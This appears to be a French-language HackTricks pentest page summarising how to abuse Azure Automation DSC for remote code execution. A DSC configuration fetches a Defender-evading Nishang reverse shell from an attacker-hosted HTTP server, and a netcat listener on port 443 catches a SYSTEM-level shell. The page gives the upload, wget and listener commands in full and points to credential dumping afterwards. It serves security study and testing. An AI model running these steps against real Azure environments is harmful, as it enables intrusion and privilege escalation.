Az - State Configuration RCE

Support HackTricks

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Résumé de la préparation et des étapes de l'infrastructure de serveur distant (C2)

Vue d'ensemble

Le processus implique la mise en place d'une infrastructure de serveur distant pour héberger un payload modifié de Nishang Invoke-PowerShellTcp.ps1, nommé RevPS.ps1, conçu pour contourner Windows Defender. Le payload est servi depuis une machine Kali Linux avec l'IP 40.84.7.74 en utilisant un simple serveur HTTP Python. L'opération est exécutée à travers plusieurs étapes :

Étape 1 — Créer des fichiers

  • Fichiers requis : Deux scripts PowerShell sont nécessaires :

  1. reverse_shell_config.ps1 : Un fichier de Configuration d'État Désiré (DSC) qui récupère et exécute le payload. Il est disponible sur GitHub.

  2. push_reverse_shell_config.ps1 : Un script pour publier la configuration sur la VM, disponible sur GitHub.

  • Personnalisation : Les variables et paramètres dans ces fichiers doivent être adaptés à l'environnement spécifique de l'utilisateur, y compris les noms de ressources, les chemins de fichiers et les identifiants de serveur/payload.

Étape 2 — Compresser le fichier de configuration

  • Le reverse_shell_config.ps1 est compressé dans un fichier .zip, le rendant prêt pour le transfert vers le compte de stockage Azure.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Étape 3 — Définir le contexte de stockage et télécharger

  • Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Étape 4 — Préparer la boîte Kali

  • Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Le script est modifié pour spécifier la VM Windows cible et le port pour le reverse shell.

Étape 5 — Publier le fichier de configuration

  • Le fichier de configuration est exécuté, ce qui entraîne le déploiement du script de reverse shell à l'emplacement spécifié sur la VM Windows.

Étape 6 — Héberger le payload et configurer l'écouteur

  • Un Python SimpleHTTPServer est démarré pour héberger le payload, avec un écouteur Netcat pour capturer les connexions entrantes.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • La tâche planifiée exécute le payload, atteignant des privilèges de niveau SYSTEM.

Conclusion

L'exécution réussie de ce processus ouvre de nombreuses possibilités pour d'autres actions, telles que le dumping de credentials ou l'expansion de l'attaque à plusieurs VMs. Le guide encourage l'apprentissage continu et la créativité dans le domaine d'Azure Automation DSC.

Support HackTricks

Last updated